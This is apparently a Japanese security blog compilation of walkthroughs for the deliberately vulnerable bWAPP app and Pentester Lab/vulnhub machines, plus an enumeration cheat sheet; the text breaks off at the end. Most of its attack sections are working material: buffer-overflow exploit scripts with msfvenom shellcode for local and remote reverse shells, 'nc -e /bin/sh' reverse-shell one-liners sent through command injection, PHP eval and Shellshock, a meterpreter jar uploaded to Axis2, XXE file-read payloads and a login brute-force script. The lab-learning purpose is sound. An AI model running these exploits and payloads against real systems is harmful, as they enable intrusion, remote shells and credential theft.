rlfi.php?language=lang_en.php&action=go
となっており、PHPファイルをIncludeしていることがわかる
rlfi.php?language=../../../../etc/passwd&action=go
で成功!
- medium
同じことをすると以下のerror
rlfi.php?language=../../../../etc/passwd%00&action=go
%00
のヌルバイトを入れる
<?php if(isset($_GET["language"])) { if($_COOKIE["security_level"] == "2") { if(in_array($language, $available_languages)) include($language); } else { include($language); } } ?>
if(isset($_GET["language"]))
{
switch($_COOKIE["security_level"])
{
case "0" :
$language = $_GET["language"];
break;
case "1" :
$language = $_GET["language"] . ".php";
break;
case "2" :
$available_languages = array("lang_en.php", "lang_fr.php", "lang_nl.php");
$language = $_GET["language"] . ".php";
// $language = rlfi_check_1($language);
break;
default :
$language = $_GET["language"];
break;
}
}
Server Side Request Forgery (SSRF)
RFIを用いたSSRFは前の問題のページを使う
ssrf-1.txt
をダウンロードする
(ssrf-1.php
というファイル名で保存してRFIしたが成功しなかった。なぜだ?)
<?php /* bWAPP, or a buggy web application, is a free and open source deliberately insecure web application. It helps security enthusiasts, developers and students to discover and to prevent web vulnerabilities. bWAPP covers all major known web vulnerabilities, including all risks from the OWASP Top 10 project! It is for educational purposes only. Enjoy! Malik Mesellem Twitter: @MME_IT © 2013 MME BVBA. All rights reserved. */ echo "<script>alert(\"U 4r3 0wn3d by MME!!!\");</script>"; if(isset($_REQUEST["ip"])) { //list of port numbers to scan $ports = array(21, 22, 23, 25, 53, 80, 110, 1433, 3306); $results = array(); foreach($ports as $port) { if($pf = @fsockopen($_REQUEST["ip"], $port, $err, $err_string, 1)) { $results[$port] = true; fclose($pf); } else { $results[$port] = false; } } foreach($results as $port=>$val) { $prot = getservbyport($port,"tcp"); echo "Port $port ($prot): "; if($val) { echo "<span style=\"color:green\">OK</span><br/>"; } else { echo "<span style=\"color:red\">Inaccessible</span><br/>"; } } } ?>
rlfi.php?ip=192.168.56.5&language=http://192.168.56.5/share/ssrf-1.txt&action=go
bWAPPアプリケーションからしか見えないようなネットワーク上のホストに対してポートスキャンができている!(今回はKaliをポートスキャンしているが)
XXEiを用いたSSRFは次の問題のページを使う
次に記す
XML External Entity Attacks (XXE)
Burpでリクエストの内容を確認するとXMLがPOSTされている
POST /bWAPP/xxe-2.php HTTP/1.1 Host: 192.168.56.33 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.56.33/bWAPP/xxe-1.php Content-type: text/xml; charset=UTF-8 Content-Length: 59 Connection: close Cookie: security_level=0; PHPSESSID=f9ff717d145019ee9534c77dbf15fcf7 <reset><login>bee</login><secret>Any bugs?</secret></reset>
BurpのXMLの欄で、POSTの内容を以下に書き換える
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY bWAPP SYSTEM "http://localhost/bWAPP/robots.txt"> ]> <reset><login>&bWAPP;</login><secret>blah</secret></reset>
成功している!
ソースコードは以下の通り
if($_COOKIE["security_level"] != "1" && $_COOKIE["security_level"] != "2") { ini_set("display_errors",1); $xml = simplexml_load_string($body); // Debugging // print_r($xml); $login = $xml->login; $secret = $xml->secret; if($login && $login != "" && $secret) { // $login = mysqli_real_escape_string($link, $login); // $secret = mysqli_real_escape_string($link, $secret); $sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'"; // Debugging // echo $sql; $recordset = $link->query($sql); if(!$recordset) { die("Connect Error: " . $link->error); } $message = $login . "'s secret has been reset!"; } else { $message = "An error occured!"; } } // If the security level is MEDIUM or HIGH else { // Disables XML external entities. Doesn't work with older PHP versions! // libxml_disable_entity_loader(true); $xml = simplexml_load_string($body); // Debugging // print_r($xml); $login = $_SESSION["login"]; $secret = $xml->secret; if($secret) { $secret = mysqli_real_escape_string($link, $secret); $sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'"; // Debugging // echo $sql; $recordset = $link->query($sql); if(!$recordset) { die("Connect Error: " . $link->error); } $message = $login . "'s secret has been reset!"; } else { $message = "An error occured!"; } }
Mediumでは表示するものはSESSION[]からとってきているため、ファイルがみられることはない。
ソースコードを見る限り、lowではsecret
でBlind SQLInjetionが可能に見えるので試す
' AND (SELECT 4928 FROM (SELECT(SLEEP(5)))DCJf) AND '1'='1
で成功!
また、XXEiで表示するコンテンツに<
が含まれる場合、XML構文が終了してしまうためそのよう場合には、
php://filter/read=convert.base64-encode/resource=http://localhost/bWAPP/passwords/heroes.xml
としてBase64エンコードする
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY bWAPP SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost/bWAPP/passwords/heroes.xml"> ]> <reset><login>&bWAPP;</login><secret>blah</secret></reset>
また、CVE-2013-4890により、bWAPPアプリケーションを使ってDOS攻撃ができる
参考文献
[https://canyoupwn.me/tr-xml-external-entity-xxe/?cf_chl_jschl_tk=9cba495907f43e11adaca79edd901008cd761095-1581331599-0-AeVtOLQ7W1iFzYapK2sPvn1o9dzyzq9IcRv1TYcc05_e5Y6p5orP8NftJV2UYW_7Kyr9U7WnOWNZCSCA92Q7nU3rNyTo3GUO-Y4s07Yrymqu3MY_knZQjIBeIgAcAxl1xxc7wMVWIpP0gM4UrTcFRDePtXqqeEpdameHnsY7_7G9ZwcYpMlu4uH3YFqpa7FxyRq2wQARUpA8oYyXU98JhP6cpM-fM-nHjdyi01Gy31QqqwllhgNB51IOP9SJ2yAA6Lt852gsMNle8rOL51ACKrxVDmwdaLeNKT3468skykdGWJM9elFsE5wJg6aG-dnJTQ]
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection
A9 - Using Known Vulnerable Components
Buffer Overflow (Local)
lowではOSコマンドインジェクションができる
POSTの値を以下にするとシェルが得られた
title=$(nc -e /bin/sh 192.168.56.5 4444)&action=search
BOFの調査をしていく。対象のファイルはbWAPP/apps/movie_search
なので先ほど得られたシェルからgdb
などでデバッグする
まずは、EIPが入力文字列の何文字目かを調査する
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 400
gdb --args ./movie_search "今の文字列”
EIP
には0x41386c41
が代入されている!
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41386c41
これで、EIPを任意のアドレスにJMPさせることが可能になった。
次は、そのJMP先を自分で作成するペイロードなどにに設定する
radare2 ./movie_search
で何かほかにJMPさせられそうな関数はないか調べる。
今回はなかった
gdb上でペイロード送信後にespに代入されているアドレスに格納されている値を確認すると、19Am
となっており、このオフセットを確認すると、358である
したがって、358文字目からespが指すアドレスに格納されており、ここからペイロードを開始して、EIPにjmp esp
を指定すればペイロードを実行できそうである
"A"*354 + "jmp esp" + "payload"
が今回のExploitコードである
objdump -D -M intel movie_search | grep jmp | grep esp
次にmsfvenom
を用いてペイロードを作成する
payload=linux/x86/exec
, encoders=x86/opt_sub
を指定する
標準のEncoderはshikata_ga_naiだが、それでうまく行かない場合(bad charactersが\x00以外にもある場合?)は別のエンコーダーを使用する必要がある。
sudo msfvenom -p linux/x86/exec CMD=/bin/ps -b '\x00' -e x86/opt_sub -f raw > payload.txt
cat payload.txt
このペイロードをURLエンコードする
(echo -n \'; cat payload.txt; echo -n \';) | perl -pe's/(.)/sprintf("%%%02X",ord($1))/seg'
(echo -n \'; cat payload.txt; echo -n \';)でcat
の結果の前後に'
を挿入して次のコマンドの入力とする
s/(.)で文字列を一バイトずつ$1に送信。
/でその文字列を置換する.
sprintf("%%%02X",ord($1))でPerlでURLエンコード.
seg 一連の正規表現フラグ
ここで、'
を挿入している理由は、
$output = shell_exec('/bin/sh /path/to/hoge.sh "'.$arg.'"')
と書くのが正常だが、ソースコードでは
echo shell_exec("./apps/movie_search " . $title);
となっているため、’’
が必要だった。
こうして得られたペイロードを使用してExploitを作成する
ちなみに、msfvenomでpython形式で出力してURLエンコードしてもできる
use linux/x86/exec set CMD /bin/ps generate -b '\x00' -e x86/opt_sub -f py
pythonで正しくURLエンコードするには、
b"\x8f\x92\x04\x08"
とする必要がある
'\x8f\x92\x04\x08'
("\x8f\x92\x04\x08")
ではだめだった
import urllib.parse junk = "A"*354 ret2 = b"\x8f\x92\x04\x08" buf = b"" buf += b"\x54\x58\x2d\x05\xfd\xfd\xfd\x2d\x01\x01\x01\x01\x2d" buf += b"\x01\x01\x01\x01\x50\x5c\x25\x01\x01\x01\x01\x25\x02" buf += b"\x02\x02\x02\x2d\x75\x1c\x30\x7d\x2d\x01\x01\x01\x01" buf += b"\x2d\x01\x01\x01\x01\x50\x2d\x14\xdf\x74\x2b\x2d\x01" buf += b"\x01\x01\x01\x2d\x01\x01\x01\x01\x50\x2d\x08\x90\x25" buf += b"\xe1\x2d\x01\x01\x01\x01\x2d\x01\x01\x01\x01\x50\x2d" buf += b"\x67\x6c\xfe\x0b\x2d\x01\x01\x01\x01\x2d\x01\x01\x01" buf += b"\x01\x50\x2d\xac\x15\x24\x60\x2d\x01\x01\x01\x01\x2d" buf += b"\x01\x01\x01\x01\x50\x2d\xe7\x77\x7d\x1a\x2d\x01\x01" buf += b"\x01\x01\x2d\x01\x01\x01\x01\x50\x2d\x67\x04\x58\x7f" buf += b"\x2d\x01\x01\x01\x01\x2d\x01\x01\x01\x01\x50\x2d\x96" buf += b"\x36\xba\xf7\x2d\x01\x01\x01\x01\x2d\x01\x01\x01\x01" buf += b"\x50\x2d\x39\xca\xe7\x7e\x2d\x01\x01\x01\x01\x2d\x01" buf += b"\x01\x01\x01\x50\x2d\x92\x0e\x21\x7d\x2d\x01\x01\x01" buf += b"\x01\x2d\x01\x01\x01\x01\x50\x2d\x07\xe6\x58\x0e\x2d" buf += b"\x01\x01\x01\x01\x2d\x01\x01\x01\x01\x50" print(urllib.parse.quote("'" + junk) + urllib.parse.quote(ret2) + urllib.parse.quote(buf) + "'")
Buffer Overflow (Remote)
nmap -p1-1024 192.168.56.33 -T5
666ポートが対象のポートである
localと同様にExploitする。ペイロードとして、
linux/x86/shell/reverse_tcp
を使用してみる
use linux/x86/shell/reverse_tcp set LHOST 192.168.56.5 generate -b '\x00' -f py
以上より、Exploitは以下の通りである
import sys import socket host = "192.168.56.33" port = 666 junk = b"A" * 354 ret_addr = b"\xa7\x8f\x04\x08" nop = b"\x90" * 16 buf = b"" buf += b"\xda\xca\xd9\x74\x24\xf4\x5a\x33\xc9\xb8\x0f\x55\x1c" buf += b"\xa3\xb1\x1f\x31\x42\x1a\x03\x42\x1a\x83\xc2\x04\xe2" buf += b"\xfa\x3f\x16\xfd\x35\x1b\xd1\xe2\x66\xd8\x4d\x8f\x8a" buf += b"\x6e\x17\xc6\x6b\x43\x58\x4f\x30\x34\x99\xd8\xfe\xc1" buf += b"\x71\x1b\xfe\xd8\xdd\x92\x1f\xb0\xbb\xfc\x8f\x14\x13" buf += b"\x74\xce\xd4\x56\x06\x95\x1b\x11\x1e\xdb\xef\xdf\x48" buf += b"\x41\x0f\x20\x89\xdd\x7a\x20\xe3\xd8\xf3\xc3\xc2\x2b" buf += b"\xce\x84\xa0\x6b\xa8\x39\x41\x4c\xf9\x45\x2f\x92\xed" buf += b"\x49\x4f\x1b\xee\x8b\xa4\x17\x30\xe8\x37\x97\xcf\x22" buf += b"\xc7\x52\xef\xc5\xd8\x07\x79\xd4\x40\x05\x5d\xa7\x70" buf += b"\xa4\x1e\x42\xb6\x4e\x1d\xb2\xd6\x16\x20\x4c\x19\x66" buf += b"\x98\x4d\x19\x66\xde\x80\x99" print("Sending payload....") s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect = s.connect((host,port)) s.send(junk + ret_addr + nop + buf) s.close()
これを実行すると、4444ポートでリバースシェルが得られた!
また、linux/x86/shell_bind_tcp
でも試してみる
use linux/x86/shell_bind_tcp set RHOST 192.168.56.33 generate -b '\x00' -f py
このペイロードは標的でポートを開けて、そこにncで接続することでシェルを得る
nc 192.168.56.33 4444
不完全なシェルが得られている
実行できるものもあれば正常にできてないものもある
これでもできる
Heartbleed Vulnerability
- low
OpenSSLとは、オープンソースの暗号ソフトウェアライブラリで、サーバー などがSSL/TLSと呼ばれる暗号方式を利用するために使用される
OpenSSLは、ApacheやNginxといったウェブサーバーに使われており、他に もSSL通信を行うアプリケーションなどに広く使われている
Heart bleedの脆弱性は、ペイロードを送信することでWebサーバーのメモリの一部を取得できるらしい。 sslscan --no-failed --version 192.168.56.33:8443
なぜかHeart Bleedを検出できていない
./o-saft.tcl
./testssl.sh -U 192.168.56.33:8443
nmap --script ssl-heartbleed -sV -p 8443 192.168.56.33
/usr/share/exploitdb/exploits/multiple/remote/32745.py
searchsploitの結果、これを使用してみる
/usr/share/exploitdb/exploits/multiple/remote/32745.py 192.168.56.33 -p 8443
メモリの一部が読み取れている!
msfconsole> use auxiliary/scanner/ssl/openssl_heartbleed
use auxiliary/scanner/ssl/openssl_heartbleed set RHOSTS 192.168.56.33 set RPORT 8443 set verbose true exploit
参考文献
https://www.symantec.com/content/ja/jp/enterprise/images/outbreak/Heartbleed_vulnerability.pdf
https://net123.tistory.com/547
PHP CGI Remote Code Execution
リンク先に移動してみると、以下のページになる。
PHPコードの実行方法にはModule方式とCGI方式の二つある。
- Module方式 Module方式では、apacheなどのWEBサーバに組み込まれているmodule (mod_phpなど)がPHPコードを外部実行する。
- CGI方式 CGI方式では、PHPコードや引数を引き渡したphp-cgiを外部実行する。
一般的なものはこれ。apache mod_phpの実行権限でphpが動作するためPHPコードによって権限を分けることができない。
今回はcgi
という文字が見える通りCGI方式である
phpinfo.php?-s
というリクエストは、-sオプション(スクリプトソースを表示)と解釈され、PHPスクリプトを実行する代わりに、ソースを表示する
POST /bWAPP/admin/phpinfo.php?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input
として、POSTデータを以下に書き換えると行けた!
<?php readfile('/etc/passwd'); ?>
allow_url_include=On
-dオプションを用いて、php.iniのディレクティブを外部から指定する。auto_prepend_file=php://input
includeするファイルをURL指定でリモートから読み出すことを許可して、PHP実行に先立ち、スクリプトをincludeしておく。<?php readfile('/etc/passwd'); ?>
ファイル名としてphp://inputを指定しているため、POSTパラメータとして送信した内容をPHPスクリプトとして実行する。
ちなみに、
nikto -h http://192.168.56.33/bWAPP/admin/
でこの脆弱性を発見できている!
参考文献
https://blog.tokumaru.org/2012/05/php-cgi-remote-scripting-cve-2012-1823.html
https://www.fumi.org/neta/201205sv.html
PHP Eval Function
<?php @eval($_REQUEST["eval"]); ?>
php_eval.php?eval=system('cat /etc/passwd');
で成功!
eval=phpinfo();
eval=;echo exec('id');
eval=;echo exec(id);
eval=;exec(‘nc -e /bin/sh 192.168.56.5 4444’);
でも成功!
execを実行結果を表示するにはechoが必要だが、systemでは必要ない(っぽい)
phpMyAdmin BBCode Tag XSS
/phpmyadmin/error.php?type=This+is+a+client+side+hole+evidence&error=Client+side+attack+via+characters+injection[br]It's+possible+use+some+special+tags+too[br]Found+by+Tiger+Security+Tiger+Team+-+[a%40http://www.tigersecurity.it%40_self]This Is a Link[%2Fa]このような悪意のあるリンクを含んだページをXSSを用いて挿入できる
参考文献
https://www.exploit-db.com/exploits/15699
Shellshock Vulnerability (CGI)
/bWAPP/cgi-bin/shellshock.sh
にアクセスするとこのスクリプトが実行されるようです
Referer: () { :;};echo;/bin/echo "shell shock"
()
と{:;}
の間にスペース必要!!!!
以下のペイロードでも成功!
Referer: () { :;};echo;echo "shell shock"
Referer: () { :;};echo "ssssss" $(/bin/sh -c "nc -e /bin/bash 192.168.56.5 4444")
User-Agent: () { :;};echo -e "\r\nKNLIwpKiKTCa0nEHWEmc9Iquq"
metasploitでも成功!
metasploitではUserAgentを使って攻撃しています!
use exploit/multi/http/apache_mod_cgi_bash_env_exec set RHOSTS 192.168.56.33 set targeturi /bWAPP/cgi-bin/shellshock.sh exploit
参考文献
https://net123.tistory.com/551
https://null-byte.wonderhowto.com/how-to/exploit-shellshock-web-server-using-metasploit-0186084/
SQLiteManager PHP Code Injection
python2 /usr/share/exploitdb/exploits/multiple/webapps/24320.py http://192.168.56.33/sqlite/
で、リモートからデータベースを作成してPHPコードを挿入できる
データーベースファイルの拡張子を.php
にしておいて、そのデータベースにVauleとしてPHPコードを記述すれば、データベースファイルがPHPコードとして実行される。
通常は、データベースファイルは.sqlite3
などの拡張子となる。
上記Exploitが成功すると、phpinfo
というデーターベースが作成される
database fileのあるパスにアクセスすると、database fileに記述された<?php phpinfo() ?>
をPHPコードとして実行し、phpinfo()
の実行結果が表示されている
同様のことを手動でも確認する
database fileをshell5.php
という名前で作成する
CREATE TABLE inject_table(codetab text); INSERT INTO inject_table VALUES('<?php system($_GET['cmd']); ?>');をSQLで実行しようとしてみる
すると、以下のようなエラー
phpinfo()
に書き換えるとうまく行くdatabase fileのパスを[option]から確認
このパスにアクセスしてみると、
phpinfo()
の実行結果が表示されている!次に、この
phpinfo()
を編集してWebshellを設置する以下のように編集する
先ほどと同じパスにアクセスするとWebshellが動いている!
Other bugs
Information Disclosure – Favicon
Information Disclosure – Headers
Insecure iFrame (Login Form)
ソースコードは以下
このソースコードをさらに見てみる
attacker
にPOSTされてしまうようになっている!
実際にPOST先をBurpで見てみると以下のようになっている
Unrestricted File Upload
low
exploit.php
をアップできた!
何もチェックしていないmedium
exploit.pht
をアップするとPHPファイルとして実行された!
ソースコードは以下
function file_upload_check_1($file, $file_extensions = array("asp", "aspx", "dll", "exe", "jsp", "php"), $directory = "images") { // Breaks the file in pieces (.) All pieces are put in an array $file_array = explode(".", $file["name"]);
// Puts the last part of the array (= the file extension) in a new variabele // Converts the characters to lower case $file_extension = strtolower($file_array[count($file_array) - 1]);
// Searches if the file extension exists in the 'allowed' file extensions array if(in_array($file_extension, $file_extensions)) {
$file_error = "Sorry, the file extension is not allowed. The following extensions are blocked: <span class="synIdentifier"><</span><span class="synStatement">b</span><span class="synIdentifier">></span>" . join(", ", $file_extensions) . "<span class="synIdentifier"></</span><span class="synStatement">b</span><span class="synIdentifier">></span>"; return $file_error;
}
high
webshell.php.jpg
がアップできた!
他にLFIなどの脆弱性があってこのファイルをPHPファイルとしてinclude
できる場合、実行することができる!
function file_upload_check_2($file, $file_extensions = array("jpeg", "jpg", "png", "gif"), $directory = "images") { // Breaks the file in pieces (.) All pieces are put in an array $file_array = explode(".", $file["name"]);
// Puts the last part of the array (= the file extension) in a new variabele // Converts the characters to lower case $file_extension = strtolower($file_array[count($file_array) - 1]);
// Searches if the file extension exists in the 'allowed' file extensions array if(!in_array($file_extension, $file_extensions)) {
$file_error = "Sorry, the file extension is not allowed. Only the following extensions are allowed: <span class="synIdentifier"><</span><span class="synStatement">b</span><span class="synIdentifier">></span>" . join(", ", $file_extensions) . "<span class="synIdentifier"></</span><span class="synStatement">b</span><span class="synIdentifier">></span>"; return $file_error;
}
Walkthrough: Pentester Lab Axis2 Web service and Tomcat Manager
Pentester Lab: Axis2 Web service and Tomcat ManagerのWalkthroughです。
https://www.vulnhub.com/entry/pentester-lab-axis2-web-service-and-tomcat-manager,72/
なんとかshell奪うとこまで自力で行けたんですがいざ公式の解説読んでみると自分のやり方と全然違ってました。
ので自分が解いた方法のWalkthrough書くことにしました。
公式の解説は以下で見てください
なお、調査の方法は自分の書いた記事を参考にしています。
kakyouim.hatenablog.com
(ここには解き終わったらその都度追加していってるので、今回の手法も書いてありますが解いてる時点では書いてありません)
ネットワークの調査
echo 192.168.56.{1..254} | xargs -P256 -n1 ping -s1 -c1 -W1 | grep ttl
192.168.56.31が対象のアドレスですね
nmap -p- -sV -sT -A 192.168.56.31
sshとApacheのwebサービスが稼働しているようですね
nikto -h 192.168.56.31
有効なものとしては、
axis2/axis2-admin/
の存在axis2/axis2-admin/login
にuser=admin,password=axis2でログイン可能CVE-2010-2103
(axis2へのXSS)
を検出しています。
クレデンシャル情報が特定できているのはめちゃくちゃありがたいですね。
どうやらaxis2ではログインのためのアカウントがデフォルトで存在しており、そのパスワードが変更されていなかったようですね。
ちなみに、tomcatのバージョンもエラーページから判明しました。
tomcat 6.0.35とnmapから判明したApache 2.2.16をsearchsploit
で検索してみましたが特にそれっぽいExploitは見つかりませんでした。
axis2へ攻撃
上記に先ほど判明したクレデンシャルを入れてログイン。
ログインすると、uploadページがあるのでここからWebshellをアップできそうです!
いろいろググってみると、clusterd
というツールでaxis2にWebshellをアップできるようです。
早速使おう!……と思ったのですがどうやらmsfpayloadがないことでエラーが起きています。現在はmafpayloadはmsfvenomにアップグレードされたため存在しません。
つまりこのツールは動かなそうです。
でも違いはそれだけなのでソースコードを参照して手動でWebshellを設置してみます
これから、この動作をmsfvenomで書き直すと、
sudo msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.56.5 lport=4444 -f jar -o shell.jar
で行けそうです。
これをアップロードしてみます。しかし以下のようなエラーにより動いていません
どうやらservices.xml
とがいうファイルが足りてないようです。
またググってみると、以下のようなページを見つけたのでそれに従ってみます。
https://github.com/hatRiot/clusterd/wiki/Axis2
sudo jar -xvf shell.jar
で一度展開し、
META-INF/
にsrc/module/generate_payload.py
に書かれているservices.xmlを追加。
metasploit/
にsrc/lib/axis2/PayloadServlet.class
を追加.
そして、
sudo jar cvfm shell4.jar META-INF/MANIFEST.MF META-INF metasploit metasploit.dat
で再度jarファイルを作成し、アップロード。
これでエラーなく動いていますね!!
あとはMetasploitを起動して、
use multi/handler set PAYLOAD java/meterpreter/reverse_tcp set LPORT 4444 set LHOST 192.168.56.5 exploit
これでTCPHandlerを待機させておいて、
http://192.168.56.31/axis2/services/shell
にアクセスすることでMeterpreterセッションがつながりました!
ヤッタゼ
でもこれって全然予想解答じゃないんですね……。自分はniktoの結果見て食いついてしまいました
Metasploit使っちゃったんですがこの方法でMetasploit使わずに成功させたいですね
最後に
予想解答ではなかったようですがShell取れたのでヨシ!(違う)
Metasploit使っちゃたので使わないで成功させる方法も考えたい。
Pentesterlab学べることが多くていいですね!
Pentester Lab: Rack Cookies and Commands Injection Walkthrough
難易度hardのマシンです。自分は難しくて手も足も出ませんでした……
基本的にはpenterster lab公式のWalkthroughを読むことをおススメします。ここにはそっちには書いていないような自分が試したこととかをメモします。完全なWalkthroughではないので悪しからず
調査する手順とか方法は自分が書いた
kakyouim.hatenablog.com
を参考にしています。
ネットワークの調査
echo 192.168.56.{1..254} | xargs -P256 -n1 ping -s1 -c1 -W1 | grep ttl
192.168.56.32ですね。nmap -p- -sV -sT -A 192.168.56.32
sshとISCBINDが起動していますがどちらも脆弱ではないようです。Webサービスの稼働している80を見ていくことになりそうですねnikto -h 192.168.56.32
特に有益な情報はないですねowasp zap
自分はいろいろ試すためにowasp zapとかも使って見ています。どうやらログインページがあるだけのようですね
調査は大体こんなもんでしょうか。次は、vulnhubの説明にもあるようにブルートフォースでログインを試みてみます
Login Brute Force
hydra -L /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -P /usr/share/john/password.lst -s 80 192.168.56.32 http-post-form '/login:login=^USER^&password=^PASS^:....'
とりあえずhydra先輩を使ってみる、が成功せず……。なんでだ?と思いWiresharkで確認する
Location
ヘッダーでリダイレクトしている様子。
hydraはbodyの中に特定の文字列があるかどうかで判定しているが、今回はbodyには何も含まれずリダイレクトするので失敗していると考えられる。
ツールの限界を知るのって大事ですね
medusa -h 192.168.56.32 -U /usr/share/metasploit-framework/data/wordlists/http_default_users.txt -P /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -M web-form -m FORM:"/login" -m DENY-SIGNAL:".." -m FORM-DATA:"post?login=&password=&"
次に、medusa先輩を使ってみる
どうやらレスポンスコードが302の場合はエラーとなって実行できないようです。
ツールによっていろいろ違うんですねBurp Intruder
次にBurp Suiteの機能の一つであるIntruderを使ってみます
wordlistとして、/usr/share/metasploit-framework/data/wordlists/http_default_users.txt
を使ってみます
どれも成功してません……
BurpはPro版でなければスレッドを1以外に多分設定できないのでめっちゃ時間かかります。できれば別のワードリストで試したいですがそれは時間的に厳しそうです
ちなみにBurpならリダイレクト先まで確認できるのでそれをみれば判定できそうです
自分はここでギブアップしてしまいましたが、公式の解説を見るとどうやらpatatorというツールを使えばリダイレクト先までチェックできるようですpython patator.py http_fuzz url=http://192.168.56.32/login method=POST body='login=FILE0&password=FILE0' 0=/usr/share/wfuzz/wordlist/general/big.txt accept_cookie=1 follow=1 -x ignore:fgrep='DNS Manager Login'
これで成功しました!
なお、標準でpatator
コマンドは入っているのですが、なんか動かなかったので新しく入れなおしました
ちなみにignore
オプションを付けてもいいのですが、レスポンスのサイズでも判別できるような気がするので、-l /tmp/patator
オプションでRUNTIME.logにコマンド実行結果を保存して、
cat RUNTIME.log | awk '{print $6":"$9}' | awk -F ":" '{if($1!=346) print $1" "$3}'
とかで異常なレスポンスのサイズのやつを抽出すると、
こんな感じでtest
だとわかりますね!
ちなみに、公式ではRubyでブルートフォースコードも実装していましたが、勉強のためにpythonでも書いてみました(実際に別の言語でコードを書いてみよう!的なことが書いてあったので……)。
なお、公式の方では、Location
ヘッダーに/login
以外があるかどうかで判別していましたが、pythonの方ではSet-Cookie
ヘッダーがあるかないかで判別するようにしました
import urllib.request import urllib.parse from bs4 import BeautifulSoup import sys import subprocess user_count = int(subprocess.check_output(['wc', '-l', sys.argv[1]]).decode().split(' ')[0]) pass_count = int(subprocess.check_output(['wc', '-l', sys.argv[2]]).decode().split(' ')[0]) print("Count file line:user",user_count," pass",pass_count) count = 0 opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor()) url = 'http://192.168.56.32/login' data = { 'login': 'foo', 'password': 'deadbeef', } headers = { } fp_user = open(sys.argv[1],'r',encoding="utf8",errors='ignore') for user in fp_user.readlines(): fp_pass = open(sys.argv[2],'r',encoding="utf8",errors='ignore') for password in fp_pass.readlines(): data["login"] = user.rstrip('\n') data["password"] = password.rstrip('\n') #print("Try username:",user.rstrip('\n')," password:",password.rstrip('\n')) count = count + 1 if((count % 300)==0): print("attack count ",count," percent:",100*count/(user_count*pass_count),"%") req = urllib.request.Request(url, urllib.parse.urlencode(data).encode('utf-8'), headers) res = opener.open(req) body = res.read() if res.info()['Set-Cookie'] != None: print("[+] Valid user Found!! user=",user.rstrip('\n')," password=",password.rstrip('\n')) #print(BeautifulSoup(body, 'html.parser')) sys.exit() res.close()
これを実行すると、
test
で成功しました!わーい!
これ以後は公式の解説通りなのでそっちを参照してください
最後に
ここではログインブルートフォースまでを記事にしました。参考になればよかったです。
Pentester Lab シリーズは公式の解説がめちゃくちゃ丁寧なのでぜひやってみることをお勧めします!
いつかhardレベルも解けるようになりたいものですね。
vulnhub調査メモ
自分用に雑に解く際の手法とかをまとめました。
文字数の都合上、WindowsのPrivilegeEscalationと調査の方針は以下に載せなおしました。
kakyouim.hatenablog.com
2020 3/4追記
Privilege Escalationをまとめた記事を新しく作成したので、ここに書いていたLinux PEは以下を参照してください。
kakyouim.hatenablog.com
- ネットワークの調査
- Webサービスの調査
- その他のサービスの調査
- sshの調査
- RDPの調査
- 変なポートの調査
- snmp(udp161)の調査
- telnet(23)の調査
- domain(53)の調査
- smtp(25)の調査
- pop3(110,995)の調査
- IMAP(143/993)の調査
- smux(199)の調査
- NTP(udp123)の調査
- nntp(119)の調査
- msdtcの調査
- rpcbind(111) の調査
- NFS (Network File System)の調査
- NIS(Network Infomation Server)
- netbios-ns(udp137)の調査
- SMB(139,445)の調査
- MSRPC(135)の調査
- IRCの調査
- CUPS(631)の調査
- FTPの調査
- VNC(5900)の調査
- RTSP(554)の調査
- identd(113)の調査
- oracle(1521)の調査
- Mysqlの調査
- MSSQL(tcp1433/udp1434)の調査
- java rmi(1617)の調査
- Windows Remote Management (WinRM)(5985)の調査
- Active Directoryの調査
- CMSの調査
- その他の調査ツール
- Webサービスへの攻撃
- 暗号の解読
- XXE Injection
- Command Injection
- Xpath Injection
- Manual SQL Injection
- PHP Vulnervilities
- shell shock
- HTTP要求の改竄
- Hash crack
- Buffer Overflow
- シェルの奪取
- 最後
ネットワークの調査
IPアドレスの調査
echo 192.168.56.{1..254} | xargs -P256 -n1 ping -s1 -c1 -W1 | grep ttl
sudo arp-scan -I eth0 -l
sudo nmap -sP 192.168.56.0/24
netdiscover -r 192.168.56.0/24
脆弱性スキャン
nikto -h 192.168.56.10
デフォルトで80番ポートをスキャンする。その他のポートをスキャンする場合は指定する必要あり。
遅いnmap -p- -sV -sT -A 192.168.56.13
遅い.
-p-
オプションでのすべてのポートのスキャンでは時間が非常にかかる場合がある.
その場合は、1~5000,5001~10000として分けてスキャンするか、-sV(各ポートのバージョン情報を提供)
を削除して、Defaultの-sT
フラグで行い重要なポートにだけ-sV
フラグをつける。
open
でもclosed
でもなくfilterd
という結果になった場合、パケットがフィルタリングされていることが原因でそこにサービスが稼働しているかどうかNmapが判断で来ていない。
例えば以下のような場合、SSHサービスは稼働しているが特定のホスト(IPアドレス)からの通信のみを許可するようにIptablesに設定されていることが考えられる。
つまり、特定のIPアドレスを持ったホストにしか22番はOpenしない。
PORT STATE SERVICE 22/tcp filtered ssh
脆弱性の調査
searchsploit apache | grep \ 2.2.
とかで今のバージョンに対するExploitがないか調査する。このコマンドは使いまくる。
Webサービスの調査
手動で調査
ディレクトリブルートフォース
dirb http://192.168.56.10
ありそうな名前のディレクトリをブルートフォースで見つける。
デフォルトで80番ポートをスキャンする。その他のポートをスキャンする場合は指定する必要あり。cssやclasses、uploadsなどのディレクトリが見つかればWebshellアップロードができる可能性あり?(よくわからない)
modules
やplugins
などのディレクトリにアクセスできればその中に脆弱なものがあるか確認。また、そこからCMSが判明することもある。wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --filter "c=200" http://192.168.56.32/FUZZ
FUZZ
という単語はないとダメ
最後にFUZZ/
のように/
を入れるとディレクトリを探索、FUZZ
のように/
